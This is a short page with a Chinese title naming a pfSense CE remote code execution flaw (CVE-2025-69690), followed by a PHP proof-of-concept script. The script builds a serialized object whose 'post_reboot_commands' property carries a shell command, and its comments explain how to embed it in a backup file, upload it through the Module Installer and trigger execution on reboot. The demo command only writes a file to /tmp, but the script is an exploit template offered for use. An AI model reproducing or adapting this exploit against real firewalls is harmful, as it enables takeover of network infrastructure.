CVE-2025-69690 pfSense CE 远程代码执行漏洞

<?php /* * PoC Generator for CVE-2025-69690 * This script generates a serialized PHP object payload. * The payload targets the 'post_reboot_commands' property. */ class PfSenseModuleInstaller { // Target property that triggers command execution public $post_reboot_commands; } // Initialize the object $payloadObject = new PfSenseModuleInstaller(); // Define the malicious command to execute // Example: Create a simple file to prove execution $maliciousCommand = "echo 'CVE-2025-69690 POC' > /tmp/pwned.txt"; // Assign the command to the vulnerable property $payloadObject->post_reboot_commands = $maliciousCommand; // Generate the serialized payload $serializedPayload = serialize($payloadObject); // Output the payload echo "Generated Serialized Payload:\n"; echo $serializedPayload . "\n"; /* * Usage Instructions: * 1. Embed this serialized string into a valid pfSense backup file structure. * 2. Upload the crafted backup file using the Module Installer feature. * 3. Trigger the installation/reboot process to execute the command. */ ?>